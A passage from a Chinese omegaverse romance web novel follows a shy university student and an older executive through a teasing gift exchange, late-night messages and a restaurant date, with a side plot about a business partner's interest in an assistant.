姜映红着脸,立马回复:【姐姐我能不能不要】 她不想要礼物,她想还给女人。 程卿言:【我送都送了,哪有收回来的道理,还在害羞吗,那晚不是给你说了,这些都是人类的正常生理需求,你可以试试】 好像是知道女生会继续拒绝,她随即又发了一条消息:【我很认真地给你挑选的,花了很多时间,做了很多对比,觉得这款比较适合你,收下行吗】 啊。 姜映为难,知道程卿言工作很忙,在忙工作时花时间给她挑礼物,挑礼物也是为了让她克服心理障碍,让她不再会她的梦而难受。 如果她坚持拒绝,女人会不会很伤心。 姜映咬了咬唇,看了眼烫手山芋,不想糟蹋女人的心意,犹豫片刻回复:【那我收下了,谢谢你】 程卿言:【不客气,希望你喜欢】 不喜欢。 姜映羞得都不想打开。 程卿言又问:【你拿回去了,是不是根本不会打开】 她,她怎么知道她在想什么。 姜映有种她被拿捏了的感觉,硬着头皮道:【要打开的】 程卿言:【会用吗?】 姜映头皮再硬,也不敢回了,又不想欺骗女人,只能转而道:【寝室还有别的室友,很不方便,在大家公用的场合里不能做这些事情】 虽没明说,意思也很明确,她不会用。 程卿言:【你说的有道理】 姜映松了一口气,气还没彻底松下去,女人下一条消息又发来了:【我在碚大附近的那套房,你知道房门密码,你可以去那里】 私密,安静,无人打扰。 让她去那里做。 姜映更不敢。 好在程卿言没抓着她不放,这会儿比较忙:【我去开会了,有困惑就给我发消息】 姜映如释重负:【好的,你忙】 她将手机息屏放进了包里,垂眸看着手里不大不小的快递盒,就这一小会的时间,羞得额头都出汗。 虽然女人是好意,但她信息素无能,她真的觉得自己没有生理需求,不需要这些东西。 姜映找了个干净的塑料袋,把快递盒子装了进去,而后将其放进了书包,有些紧张地回了寝室。 还好这会儿林溪和周青月都不在,她才把快递拿了出来,快速打开,取出里面的包装盒,快速放到了被子下面藏起来。 心跳好快。 就这短短的一分钟,她很当心有人突然回来了,全程提心吊胆。 姜映接了杯凉水,咕噜咕噜喝了几口,坐在凳子上缓了片刻,心跳才恢复正常。 提了口气,暂时不去想女人送的礼物,虽然没课了,她还有事情要做,重新背起书包出门,下楼时顺手把快递盒子也一起丢掉了,跑着去了图书馆。 * 程卿言没在公司,她和余简予去了苏氏集团。 参与了苏氏高层的会议,细细讨论了城西科技园的项目内容,跟进了一些细节。 程氏和苏氏的第一次合作,双方的诚意十足,但毕竟不是一家人,在商言商,得把细节做到位,信任才是关键。 会议结束后,苏敛懿邀请她们参观了苏氏的内部环境,耐心地给她们介绍着。 晚饭也是在苏氏的员工食堂吃的。 两家企业给员工的福利待遇都很好,食堂的伙食也开得好,程卿言给了相当高的评价。 苏敛懿笑了笑,倒也不谦虚,只是有些惋惜道:“怎么今日何助没跟着一起来?” 坐在一旁吃饭的秦助理缩了缩自己的身影,啊,她好像被老板的合作伙伴嫌弃了,不过没关系,老板不嫌弃她就行,合格的助理得在该开口时开口,该耳聋时耳聋。 这种时候就是该她耳聋的时候,她埋下头大口吃饭,苏氏免费的饭,不吃白不吃。 程卿言说:“何助去云县对接拆迁的事情了。” 苏敛懿红唇轻启:“她这会儿回来了没?” 程卿言哪里知道这些细节,看了眼努力干饭的秦助理,秦助理瞬间懂了她的意思,放下饭碗回复道:“何助她是五点半的高铁,从云县到碚城高铁站需要三十分钟,这会儿六点零五分,应该刚刚走出高铁,在打车回家的路上。” “那叫她过来一起尝尝苏氏的食堂?”苏敛懿缓缓说了一句,话音落下,还没等程卿言回复,她接着道,“算了,她也忙了一天了,就不让她折腾了,下次再邀请她。 ” 余简予眨了眨开玩笑:“苏总好像对我们何助很感兴趣啊,不会是想挖她来苏氏吧。” “我可不是那种不厚道的人,我也不缺助理,不会挖她来我这里,”苏敛懿声音缓缓,“不过对她感兴趣倒是真的,想和她交个朋友。” 居然真的对何助有兴趣。 想交朋友,还是女朋友? 正经朋友,还是不正经朋友? 余简予爱凑热闹,平时也爱看圈子里的八卦,这会儿八卦就摆在她面前,但她不太好追问啊。 一来何助不是她的助理,二来她和苏敛懿没见过几次面,目前只是合作伙伴关系,贸然询问太无理了。 要问也得是程卿言开口才行。 何助是程卿言的人,程卿言也和苏敛懿比较熟了。 在餐桌的遮掩下,余简予用膝盖撞了撞坐在她旁边的程卿言的腿,暗示她快开口,快说话,快问。 程卿言确实开口了:“这是你们的私事了,苏总如果想和何助往来联系,直接问她就好了,我不干涉她的私事。” 她是明事理的老板,员工要认识谁,要和谁交朋友,只要不做出损害公司的利益的事情,她都不会阻止。 目前苏氏和程氏是合作伙伴关系,利益共同体,不过也无法保证未来会不会成为竞争对手。 何助是程卿言的身边人,会接触到一些程氏的商业机密,而苏敛懿也身居高位,是苏氏的掌权人。 若是她不告知程卿言,贸然深入接触何助,若是有人怀疑她别有用心,那就伤了和气了,孰轻孰重,她自然分得清楚。 既然程卿言都这样说了,不会在意,她心里就有底了。 两位成熟知性的女人对视几眼,点到为止。 就这样? 没了? 不再多说一点? 余简予十分着急,只能眼巴巴地看着八卦飞走了。 晚饭过后,苏敛懿送她们去了停车场,程卿言礼尚往来:“苏总日后若是有空,也可以去程氏玩一玩,尝一尝程氏的食堂。” 苏敛懿不客气:“有机会我一定来。” 道了别,秦助理开车离开了苏氏集团。 余简予和程卿言坐在后排座,她很不乐意,郁闷地看着身旁的女人,抱怨道:“刚才多好的八卦机会,你怎么回事啊,不多问一点。” 程卿言疑惑道:“多问什么?” 余简予:“问问苏敛懿是不是看上何助了啊,是交正经朋友,还是不正经当朋友。” “这是她们的私事,我干嘛要问。” “我想知道啊。” “那你自己怎么不问?” “我要是能问,早就开口了,我和她不熟。” “我和她也不是特别熟。” “但何助是你的助理,你是可以问的,要不下次见面你问问?” 程卿言拒绝:“不问,我一点也不好奇。” 余简予叹气:“你怎么连感情八卦都不好奇。” “圈子里每天有这么多感情八卦,有什么好奇的。”程卿言看起手机看了看。 余简予说:“不一样,苏敛懿可是对何助感兴趣。” 苏敛懿是谁,苏氏唯一的继承人,无论是在样貌上,还是在家事财力上,和程卿言都是同样等级的人,并且人生要比程卿言要顺畅很多,私生活不乱,但情感经历并不少,不过对于三十八岁的未婚女性来说,这也很正常。 而何助呢,没有任何背景,别看长着一张甜妹一般的脸,其实特别能打,全年都穿职业装,性格冷酷严肃,没人见过她笑,人送外号“人机”,和她共事的同事,除了秦助理会和她开玩笑,都有点怕她。 两种完全不一样的人,没人会将她们想到一起,能擦出火花? 这难道还不值得八卦吗? 太可惜了,错过了这次机会,不知道什么时候才能吃到瓜了,好在她们和苏敛懿现在是合作关系,项目短时间内不会结束,见面的机会还多,她得努力和苏敛懿搞好关系,熟悉起来,然后去八卦,这些可比看电视剧有趣多了。 至于为什么不考虑从何助那里下手,余简予觉得毫无可能,就不做无用功了。 看上何助又怎么了? 苏敛懿是对何助感兴趣,又不是对姜映感兴趣,程卿言为什么要在意,她只是何助的老板,又不是何助的主人,她对她们的私事不感兴趣。 她现在感兴趣的是,姜映这个坏东西打开快递了没。 她是深思熟虑后决定送这个礼物的,挑选时确实花了她很多心思,既不能太刺激,又不能一点效果都没有,女生是第一次收到这种礼物,也将第一次使用,她希望她的体验感能好一些。 她不是在逗女生,而是真的希望女生能慢慢克服性羞耻,在未来不要一提到与性有关的事,就羞耻那样。 程卿言扬了扬唇,在心里感慨,怎么会有她这么好的人。 坏东西可别辜负她的心意。 万事开头难,她希望她勇敢跨出第一步。 不过程卿言也知道,以姜映的性子,肯定需要一些时间才能接受这些东西,她本来打算问一问,最终还是作罢了。 退出微信,手机息屏放到了一旁,指腹缓缓摩挲着微凉的机身,侧眸看向了窗外,车身略过繁华璀璨的街景,窗外的星星闪闪映照在她的眼眸中。 但女人的眸光依旧平静无波,如同一面暂时看似平静的海面,海底实则动荡诡谲。 其实她也不是一直对与性有关的事直白坦诚,曾经她极度痛恨她的欲望。 她的羞耻,厌恶,难堪,甚至比姜映要严重很多。 omega的腺体一般在十六岁时就开始发育,在十八会发育成熟,而她的信息素紊乱也在腺体开始发育时随之而来,一点点加重,不短地折磨着她。 十六七岁的她还是少女,心智没有现在成熟,第一次面对脱离她控制的欲望,她内心是害怕的。 既害怕程家的人发现,又害怕她会因为欲望而做出失控的事情。 她的不安让她在最初那段时间里疯狂使用抑制剂,无节制地使用,严重到如果某一次没有带抑制剂出门,她会惊恐。 慢慢的她发现自己离不开抑制剂了,向来要强的她,怎么可能让她沦为抑制剂的阶下囚。 惊恐不安过后,她逐渐清醒,她开始严格控制自己对抑制剂的使用,只要不外出,她在家时能硬抗就硬抗。 每一次的身心折磨,大汗淋漓,让她感到疲倦,让她厌恶她的欲望,这份厌恶里也包含了对自身正常生理需求的厌恶。 她在逃避恶心所有的生理欲望。 不过这些藏在内心深出的想法,她没有与人述说过,直到二十岁生日那年,余简予误打误撞地送了她一份礼物,她拆开后,决定使用前的心理路程其实并不向她和姜映讲述的那般轻松。 抱着厌恶的心态试了试,意外获得了全新的体验。 二十岁的她已经比十六岁的她成熟理智了很多,误打误撞的愉悦体验让她正视了身体的正常欲望,随着她年岁的增长,人生经历的丰富,她彻底将这种欲念与信息素紊乱引起的欲念分离开。 因此,她知道性羞耻的痛苦,也知晓正视欲望后的愉悦。 此时的程卿言回顾十六到二十那四年,只会觉得她好蠢,可是她也不忍心过分责怪她,毕竟独自走过那几年的她也挺不容易的。 她不会苛责她,她会心疼。 她最信任自己,也要最爱自己。 在她的人生准则里,任何人都是最爱自己的,把自己放在首位的,所以这些年她对情情爱爱没兴趣,不只是本能地厌恶与alpha有亲密接触,而是她已经最爱自己了。 有人能比她更爱她吗,有人能爱她爱到超越生命吗,不可能存在。 她也不需要这种人存在。 即使真有,她还会觉得这种人没出息,为什么要爱别人超过爱自己。 窗外的光影在眼眸中不算闪烁,程卿言敛了敛眼眸,轻轻呼了一口气,回到月泊林,她陪拉面丸子玩了半个小时,拿出电脑加了一个小时的班,处理好工作后,她起身洗漱,回房休息。 程卿言靠在床头,宽敞的卧室让她觉得过分安静,安静到她开始回味昨晚和alpha同床时的感觉,alpha的温度,气息,神态,清润的语气,都让她感到舒适,片刻后她拿起手机,发了一条消息给坏东西。 【周末有时间吗,想和你一起吃饭】 * 夜幕降临。 树影摇曳,傍晚的余晖褪去,夜色逐渐深沉。 姜映走出图书馆,比往常早了半个小时回了宿舍,洗漱好后她就爬上了床。 吃了宵夜,正在宿舍里走来走去消食的周青月抬头看了眼她,而后又看了看手机上显示的时间。 还有六分钟才到凌晨。 姜映今晚怎么这么早就上床了,平时几乎都是学习到一两点才上床。 不过周青月也只是小小地困惑一下,就没过多在意了,精力再好人都会有累的时候,姜映早点休息也不是怪事。 她并不知道,姜映这么早上床不是为了睡觉。 床帘厚实,遮光性较强,姜映独坐在床上打开了台灯,脸颊微红,羞涩为难地瞧着手里的盒子。 抿着唇静了片刻,深呼一口气,在心里给自己打了气,决定将盒子打开,看看程卿言送她的东西。 今晚不看,日后也会打开,不可能一直不管它。 姜映虽然害羞,但她本质上不是逃避事情的性子,纠结为难过后,她会勇敢面对。 轻手轻脚,指尖有些颤抖,一层层拆开了包装盒。 包装特别高档精良,是不是很贵啊。 姜映眨了眨眼,不太好意思收太贵重的礼物。 拆完了包装,姜映脸颊红润,眸光落在了盒子里躺着的淡粉色物体上,样子很可爱,也很小巧,若不是提前知道这是什么,她会以为它只是个桌面小摆件。 只看外观,好像还可以接受…… 姜映眨眨眼,轻手轻脚地拿了起来,眼眸探究,神色认真地瞧着,有些好奇该怎么用。 观察时不小心碰到了开关键,紧接着嗡嗡嗡细微的震动声响起,小摆件的顶端迅速开始震动,正好贴着她的掌心。 姜映掌心瞬间被震得又麻又痒,感觉有点像筋膜枪。 “映啊,是你定的闹钟震动起来了吗?”周青月听见响动,出声问道。 “啊…不是…是的……”姜映慌忙回神,脸颊通红,担心被她们知道了,紧张得额头上冒了汗,手忙脚乱地关掉小摆件。 安静下来,她深深呼了一口气,从床帘里探出头道:“不好意识,吵到你们了。” “没有吵到我,我在玩呢,”周青月看小说看得笑嘻嘻,“你刚才是不是眯了一会儿,定闹钟是想起床去学习?” 姜映嗯了一声。 礼物看也看了,她不准备再碰了,快速收进盒子装好,用被子盖好,下床去了阳台。 滚烫的掌心麻酥酥地冒着汗,她开了水龙头,用冰凉的水冲了一会儿,热意缓了过去,才重新回了室内,坐在了书桌前。 姜映扯纸巾擦着手上的水珠,没注意到林溪此刻有些疑惑地看了看她的背影。 闹钟的声音吗? 林溪颤了颤眼睫,其实她觉得那种频率的震动更像是她在云秋染家里…… 可是姜映怎么可能会有那些东西。 不会的。 应该是她心里藏了事,所以看谁都感觉不太对劲,林溪狠狠地谴责了自己,她这样是不对的,她得改正。 碰了冷水的手有些凉,不过姜映体质好,很快就暖和起来,她打开电脑,正要进入学习状态时,微信响了一声。 从她拿起手机那刻起,注定今晚无法专心学习了。 程卿言:【周末有时间吗,想和你一起吃饭】 有时间吗? 姜映脑子热热的,不再向从前那样,回复女人消息前会在脑子里想一想她做的日程表,手比脑子快,在她反应过来时,消息已经发出去了:【有时间,我来你家里做饭吗?】 程卿言:【不在家里吃,出去吃,地方我来定】 女生做的饭虽然很合她胃口,但做饭很浪费时间,饭后还得收拾,挺麻烦的。 姜映颤颤眼睫,乖乖回了声好的,看了眼手机屏幕右上角的时间,已经过了凌晨了,指尖顿了顿,打字道:【你今晚是不是又失眠了】 程卿言:【关心我?】 姜映脸颊一红,轻轻呼了一口气:【嗯】 程卿言:【有一点】 姜映的睡眠很好,很少会失眠,但也不是一次都没有,她知道失眠的感觉其实挺折磨人的,身心都很疲倦,就是无法入睡。 偶尔失眠,她都会觉得不好受,何况女人是长期睡眠不好。 她指尖悬在屏幕上方,犹豫着,要不要主动说她想去找她睡觉,这样女人就可以睡着了。 可她又想到了女人说的,需要她陪着睡的时候会主动找她,这会儿没提,就是不需要。 如果她贸然去了,程卿言想要的就不只是睡觉了,但她又给不了她想要的。 在她纠结为难时,女人发来了消息:【别担心,我好像有点困了,想睡了】 姜映稍稍放下心,立马回复:【你睡吧,姐姐晚安】 她放下手机呼了口气,伸手揉了揉脸颊,眸光看向电脑屏幕,试着进入状态。 片刻后,她接受现实了,学不进去,她关掉电脑上床躺着了,心脏有力地跳动着,脑子也有点乱。 她差点也失眠了。 * 周六晴天。 姜映出了校门,在老位置瞧见了熟悉的车牌号,她拉开车门,温声细语叫了一声:“姐姐。” 程卿言眉尾轻轻上扬:“上来。” 姜映应了声好,乖乖坐上去,她想了想道:“其实你不用来接我,我能找到餐厅在哪。” 女人在早上已经把餐厅的定位发给了她,和碚城大学不在一个方向,女人从月泊林过来接她,再开去餐厅,女人会绕很多路,她不想累着她。 “知道你能找到路,”程卿言看着她的眼眸,“起床那会儿我瞧着天气很好,就想早点见到你。” “你不想吗姜映?” 姜映脸颊微微泛红,她感觉她的心跳好快,有些羞涩道:“想……” 阳光落在alpha青涩的眉眼间,程卿言指腹落上去抚了抚,嗓音泠然缓慢:“是想见我,还是想我,嗯?” 作者有话说: 小姜(现在)求人:姐姐我能不能不要 橙总(以后)求人:坏…坏东西我能不能不要… 晚安,明天见《 》 50-55 第51章 如故 如故 第五十一章 秦助理看似安静开车,但她的嘴角都快咧到太阳xue了,若不是她有着优秀助理的职业素养,她都要咯咯咯咯地笑出声了。 除了在姜映面前,她何时听见过自家老板用这种语气和别人说话,蛊惑人心,听得她脸都快红了。 好好嗑。 她希望两位当事人当她不存在,随心所欲想做什么就做什么,她不应该在车里,她就应该在车底下。 反向盘为什么不设计在车底下。 程卿言这种成熟知性,阅历丰富的人确实能当她不存在,但姜映不行,姜映年纪小脸皮薄,满脸通红。 女人的指腹从她的眉间滑到了她的嘴角,轻轻抚着:“回答了,想见我,还是想我?” 姜映心跳很快,羞到不敢和女人直视憋了一会儿,很小声地说:“想你……” 程卿言轻笑,捏了捏她滚烫的耳朵:“不想见我?” “也想。”姜映声音很小,但很清晰。 “所以是都想,”程卿言指尖强势地抬起她的下巴,让alpha看着她的眼眸,尾音上扬,像钩子一般轻轻勾住了女生的,“这么贪心啊姜映。” 该,该说点什么啊。 女人说的是事实,她想她,她也想见她。 她们约定的九点校门口见,她五点出头就醒了,精神得不行,躺在床上等天亮。 在想要穿什么去见程卿言,可她的衣服不多,她甚至有了要买新衣服的想法。 她的物欲很低,平时很少给自己买东西,她居然会因为想见一个人,想特意给自己买衣服。 那她以后还会想做什么? 她暂时不清楚,她在等天亮,她在想时间为什么过得那么慢,每一秒都很漫长,她在想她,很想见到她。 姜映无法反驳,红着脸老老实实承认:“我也觉得我好贪心。” 程卿言笑了一声,恩准:“我允许你贪心。” 姜映颤了颤眼睫,傻乎乎的:“谢谢你。” 讲礼貌的坏东西这都要谢她,程卿言挑了挑眉,也讲起了礼貌:“不客气。” 姜映眨着眼,朝着她笑了一下。 坏东西又装可爱。 于是程卿言伸手,在她青涩的脸上掐了两下:“疼不疼?” “不疼。” 二十出头的小姑娘皮肤细腻光滑,比豆腐还嫩,轻轻一碰就会留下印子,程卿言瞧着她在她脸上弄出来的绯红痕迹,眼眸微暗,觉得这道痕迹格外的美,手上的力道不由自主加重了一下:“疼吗?” “还好。” “这样呢?” “有一点点。” “这样?” “疼……” 力道一点点加重,程卿言稍不注意,加的有点厉害了,alpha轻轻的一声呼痛唤醒了她的理智,手上快速收了力。 嗯…… 她刚才做了什么,怎么从脸掐到了alpha脖子上去了。 程卿言眉心拧了拧,正要收回手时,女生的手轻轻按在了她的手腕上,颤着眼睫对她说:“不疼的,一点也不疼,你喜欢你就掐,我不疼。” 女生一边说着话,一边把脖子往她掌心送。 傻不傻。 都红成这样了,在弄下去就是家暴现场了。 程卿言在心里叹了声气,温柔地给女生揉了揉脖子,指腹一下一下轻轻磨蹭着:“好了,弄疼你了是我的错,我下次不会这样了。” 仿佛知道女生要说什么,她继续道:“别说你不疼,你又不是石头,你有知觉,别人让你不舒服了,你就得制止,知道吗?” “可是我没觉得不舒服。”姜映一脸单纯看着她,还给她细细解释,“是有一点点疼,还有一点点喘不过气,但我真的没有不舒服,而且脑子里会一种空白发麻的感觉。” 她也不知道这些感觉是怎么回事。 而且她愈合能力异于常人,女人弄出的这点痕迹,最多半个小时就会消失,于她而言完全没有影响。 咳。 程卿言眸光起伏颤动,没想到姜映有这种感受,女生心思单纯,不懂这些奇奇怪怪的事,她不可能什么也不懂。 这坏东西该不会有什么癖好吧。 程卿言意味深长地瞅了她几眼,因为女生的几句解释,摸着alpha脖子的手都快烧起来,脑子里不由自想象了一些奇怪的事,坏东西还说:“姐姐你的手好烫。” 程卿言快速收回手,深呼一口气,狠狠瞪了女生一眼:“闭嘴,你不要说话了。” 啊? 为什么? 姜映茫然地眨了眨眼,为什么女人不让她说话了,还突然凶凶地瞪了她。 程卿言阖上了眼睫:“我要睡一会儿。” 她得缓一缓,青天白日,朗朗乾坤,她可不想让自己躁动起来。 好吧。 姜映哦了一声,即使有困惑,也不能在这时开口了。 车里安静下来,淡淡地青竹香氛在空气中弥散着,静心养神。 但这会儿车内的三人没有一个心能静下来。 正好开到了十字路口,车停了下来等红路灯,秦助理看了眼后视镜,便和姜映的目光对视上了。 作为有着优秀观察能力的助理,她平时连程卿言的眼神都能读懂,自然能读懂姜映的眼神。 姜映在求助她,想让秦助理帮她想想她为什么突然惹程卿言发脾气,她想吸取教训。 秦助理惶恐,食指指了指自己:我? 姜映感激地点头:对的 不对的。 这是不对的。 秦助理拨浪鼓摇头:我不行,我不知道,不知道不知道 她就是吃了熊心豹子胆,也不敢参和老板与姜映同学调情的话题啊,她又没有疯掉。 她听一听已是“大逆不道”“大饱耳福”了。 她不仅不参和,她还快把眼眸从后视镜移开,结束了和姜映的眼神交流,万一老板醒了,怀疑她和姜映在她睡觉时眉来眼去,她跳进黄河也洗不清。 红灯结束,秦助理踩油门,开车才是她目前该做的事情,方向盘为什么不设计在车底啊。 姜映困惑地想叹气,又不想弄出声响吵着女人,气又憋了回去。 秦助理帮不了她,只能靠她自己琢磨了,一路上都在思考,但没想出个所以然。 她觉得程卿言于她而言是一本神秘而复杂的书,每翻一页,她都琢磨不透其中的意思,但她并不觉得枯燥,很想翻下去,她的求知欲也让她很想知道,书里到底讲了什么。 她一页页的翻,可能最后什么都没懂,但她看见她翻书时留下的痕迹,她好像也挺开心的。 她喜欢翻这本书。 到了目的地,姜映脖子上的掐痕已经消失得无影无踪,彻底恢复了白皙,车子稳当地停下时,她在犹豫要不要叫醒程卿言。 考虑到车里坐着睡久了对脖子和腰背挺不好的,几秒后她出声道:“姐姐。” 女人没反应,依旧睡着。 姜映声音大了一些:“姐姐。” 女人还是没反应,长睫合拢。 姜映指尖轻轻柔柔搓了搓女人的胳膊:“已经到目的地了姐姐,你醒一醒。” 怎么还不醒,她继续叫了几声姐姐,一声比一声熟练,一声比一声自然,完全没了羞涩,在她开始担心女人是不是身体不舒服时,她的姐姐睁开了眼,柔和地与她对视着。 姜映松口气:“已经到目的地,我们得下车了。” 程卿言嗯了一声,拉开车门:“走吧。” 姜映应了声好,和她一起下去,边走边道:“你刚才睡得好熟。” 程卿言眉梢轻挑:“是吗?” 姜映点头:“我叫了你很多声,你才醒的。” 她觉得女人肯定是昨晚失眠没睡好,今天又早早出门绕路去学校接她,太累了导致的。 她有些心疼,越来越担心女人的睡眠问题。 走在她们身后的秦助理看着姜映的背影,在心里感慨:单纯的孩子,你姐姐说不准根本没睡着了,即使睡着了,在车停下的那一秒,肯定也会醒过来的。 傻孩子。 你姐姐就是想听你叫姐姐。 这些话秦助理自然不会告诉姜映,老板的姜映之间无伤大雅的情趣,她嗑就行了。 若是说了,姜映不傻了,她就没得嗑了。 但也说不准,秦助理认真地想了想,以姜映这种性格,即使知道她老板的恶趣味,也还是会乖乖地宠着配合吧。 啊。 谈恋爱真有趣。 但是她不谈,她一边挣钱一边看老板谈恋爱,更有趣。 不过秦助理也有些好奇,程卿言和姜映目前到底是什么状况,感觉谈了,又好像没谈。 进了餐厅。 提前定好了位置,不是包间,就在大厅靠窗的位置,在服务员的带领下,她们入座。 程卿言说:“我们暂时不点餐,等会儿再叫你们。” “好的女士。”服务员识趣地退下。 靠窗的位置风景好,今日巧好是晴天,明媚的光暖洋洋地照了进来,落在上身,心情都舒畅很多。 适合出门,适合见面的好天气。 姜映眨了眨眼,问道:“为什么不点餐?” 程卿言:“你看看现在几点。” 姜映看了眼手机,差几分钟十点半,若是不饿,这会儿吃饭好像是有点早了,想了想道:“下次你可以晚一点出门,饭点到餐厅,就可以直接点餐吃饭了。” 晚一点出门,女人也能在家里多休息一会儿,多睡一会儿。 程卿言挑眉看着她,声音泠然问道:“我约你吃饭,是为了吃饭吗?” 姜映颤了颤眼睫,心里冒出一个大胆的想法,心跳随之加速,很羞涩地问:“是为了见我?” “不然?”坏东西不算太笨,程卿言哼了一声,“饭天天都能吃,你能天天见?” “能的,我能天天去见你。”姜映红着一张脸,嘴巴比脑子快,直接地把心里的想法说了出来,说出来后,她自个人开始不好意思了。 看着赏心悦目的人,听着动听悦耳的话,程卿言心情愉悦,嘴角轻扬,语气又傲又娇:“你想见,我就给你见吗,你想得美。” 她又不是随便的人,每天想见她的人多得很,都得去程氏前台预约排队,她哪里是别人想见就能见的。 而且,程卿言最近其实很忙,每天的行程都很满,两天周末,她的休息时间只有今天上午,下午她就得回公司加班开会,忙城西项目的事情。 手机里也堆了很多条工作消息,有一些比较紧急的,需要她立马决策,才和姜映说了几句话,下属已经给她打来了电话。 本来想和姜映聊会儿天,但是没办法,她得耽搁一会儿。 姜映很理解,因为她也有很多事情等着她去完成,忙期末,忙寒假实习的事,计划表上全是事,但她跑来见她了:“没事的,你处理事情吧,我也可以看一会儿报告。” 程卿言点头,朝着她笑了一下,对视一眼后,各自拿起手机,垂直眼眸忙了起来。 同一片暖阳在她们身上流转,细小的尘埃在她们之间飞舞着,安安静静没有言语上的交流,好像又说了很多。 至于说了些什么,用文字表达不出来。 单独坐在对面桌,也在处理工作的秦助理时不时抬头看看她们,不是在偷看,而是她得观察周围的情况,助理的工作内容中包含了保障老板安全这一项。 瞧了几次之后,她心里生出浓浓的佩服,优秀的人,约会都是各自认真地处理事情,活该她们成功。 好嗑。 但她还是更想看老板和姜映互动,那样更好嗑。 做起事来,时间过得很快。 姜映发现一件很神奇,她最近在学校图书馆自习,在教室上课,在寝室复习时,总是会或轻或重地走神去想女人,想给她发消息,想见她,想和她说话。 但这会儿女人就坐在她对面,她居然没有走神,她的注意力又回来了,能够平静地进入学习状态。 为什么? 姜映看完了一篇报告,关了手机,愣愣地看着对方,在脑子里思索着为什么。 程卿言处理好事情,抬眸时瞧见alpha这种神态,挑眉轻笑一声。 看来坏东西真的很喜欢她,看她看得那么入神。 “看我多久了?” “啊?” 姜映回神,眼睫颤动,不好意思地笑了一下,吹膜看了眼时间,回复女人道:“大概有五六分钟了。” “这么久?” “嗯。” “好看吗?” “好看。” 程卿言又问:“喜欢看吗?” 姜映脸热,小声说:“喜欢……” 程卿言心情很好地端起被子抿了一口温水,又轻轻笑了一声。 姜映感觉耳朵好痒,痒得她有些热,她伸手揉了几下,想了想问道:“我是不是打扰到你工作了?” “没打扰,”程卿言说,“你的眼神不吵。” 姜映眨了下眼,哦了一声,不过眼神不吵是什么? 她没听过这种说法。 需要紧急处理的消息,程卿言已经处理好了,还有些不是那么重要的,她暂时没管了,身心放松,慢悠悠聊着天,恶趣味十足地逗alpha玩,饶有兴致地看着女生的脸红了又红,时不时着急无奈地叫她姐姐,企图她能放过她。 但alpha不知道,她越是这样叫,坏姐姐就越想玩她。 再玩下去,女生是不是要坏掉了,程卿言秉着可持续发展的原则,很有良心地放过来她,清了清嗓子,聊到了正经事上:“你什么时候放寒假?” 姜映喝了口柠檬水,缓了缓身上的热意:“应该在一月初,学院的考试安排还没出来,不过往年都是在一月初放的假。” 程卿言嗯了一声,拿起菜单:“你寒假是在碚城过吗?” “我放假之后就要去实习,可能没空回老家了,会一直待在碚城,”姜映看着她道,“所以我准备元旦的时候回去一趟,看看家人。” 程卿言:“你老家在云县?” 姜映嗯了一声:“我给你寄的橘子就是云县来的,是我家楼下的邻居在乡下种植的,你要是喜欢,我可以再买一些。” “上次你给的都没吃完,今年就别寄了。”程卿言垂眸翻看着菜单。 姜映道:“那我明年再给你寄。” 话音落下,她随即怔愣几秒,想到了她和程卿言之间签的合同,明年橘子成熟上市的那会儿,她们的合同已经到期了。 合同到期…… 她还可以给她寄橘子吗? 姜映抿了抿唇,身上的热意褪去,感觉心口有些闷闷的。 程卿言在认真点菜,没瞧见她此刻细微的神情变化,她是第一次来这家餐厅,也不知道哪些好吃,菜单太厚,她挑了会儿就有点不耐烦了,递给女生:“你会做饭,你来点。” 点菜和会做饭又直接关系吗? 姜映眨了眨眼,瞧着女人蹙眉不耐烦的神情,眉眼弯弯,轻轻笑了一声。 点菜都会不耐烦,程卿言的脾气真可爱。 程卿言睨她一眼,这坏东西在笑什么啊,很喜欢点菜? 姜映认真地翻看着菜单,耐心地询问女人想不想吃,喜不喜欢,再适时提出意见,五分钟内,点好了她们要吃的东西。 点了很多,在姜映的介绍下,程卿言都想尝尝,因此上菜的速度有些慢,她们得等一会儿。 程卿言选的这家餐厅消费并不低,而刚刚姜映翻看菜单点菜的举动,特别自然熟练,仿佛在这种类型的餐厅消费过无数次,形成的自然。 可是女生平时应该不会来这些店消费,不仅如此,细细想了想,在她们的日常接触中,女生好像对一切超出她目前消费水平的东西,表现得都很自然,用起来也都很顺手,仿佛自幼生活条件就很优越,和她相差无几。 可姜映不是从小就离开姜家,去了云县生活了吗? 程卿言有点好奇,不过目前没多问,这些可能与原生家庭有关的沉重话题,不适合在这种轻松愉悦的时刻聊。 也不是很重要事情,日后有机会再聊也行。 秦助理不和她们一起吃,她不能去当电灯泡,她单独坐一坐,很大方地点了些自己想吃的东西,愉快地吃了起来。 她的衣食住行几乎都用不着她花钱,公司报账。 秦助理识趣不去打扰,但不代表别人不会去。 “程总?” 等餐期间,一道成熟的女声叫了程卿言一声,她侧头看过去,礼貌笑了起来,伸手相握:“苏总。” 苏敛懿笑着和她握了握手:“我还以为我看错了,没想到真是你,真有缘。” 程卿言:“我也没想到能在这里遇见你,你和别人有约?” “没有,我自己来的,”苏敛懿随意地开玩笑,“你若是不觉得打扰,要不我坐下和你们一起吃?” 她们目前是合作伙伴关系,程卿言也很欣赏苏敛懿,愿意和她做朋友,对方这样说了,她自然不会拒绝,应了下来。 苏敛懿只是随便一提,没想到程卿言真不介意,她也不是冒昧之人,又看向姜映:“会不会打扰到这位妹妹?” 姜映除了在程卿言面前会慌张羞涩,在别人面前都很镇定,影响不了她:“不会的,您坐。” 苏敛懿这才坐下,她道:“你们点菜了没?” “已经点了。”程卿言将菜单递给她,让她再加一些她喜欢的。 苏敛懿道看了看她们点的菜,不禁道:“你们不是第一次来吧?” 程卿言好奇她为什么这么讲:“嗯?” “实不相瞒,这家店是我投资的,我今日也是闲着没事过来瞧瞧,你们点的菜搭配得很好,一般都是熟客才知道这样搭配。”苏敛懿解释。 程卿言挑了挑眉,笑着看向姜映,言语中带了点骄傲:“她点的。” 她顺便简单介绍了一下她们,让她们认识。 “这是苏氏集团的苏总苏敛懿。” “这是姜映,碚城大学的学生。” 姜映和苏敛懿对视一眼,打了招呼,聊了起来。 “姜同学今年多大了?”苏敛懿看着她的眉眼,语气不由自主放柔了很多。 姜映很礼貌,微笑道:“马上二十了。” 苏敛懿又问:“二十啊,马上快毕业了吧?” “嗯。” “是要工作,还是要接着读书?” 姜映说:“我直博了,还要读几年。” “这么厉害呀,”苏敛懿看着她,“要请客庆祝吗?” 姜映摇头:“不了,就是正常的上学读书。” 苏敛懿惋惜:“那我没机会送你礼物了,你是碚城人吗?” “嗯,碚城云县的。”姜映点头。 …… 瞧着她们就这样你一言我一句地聊了起来的程卿言:??? 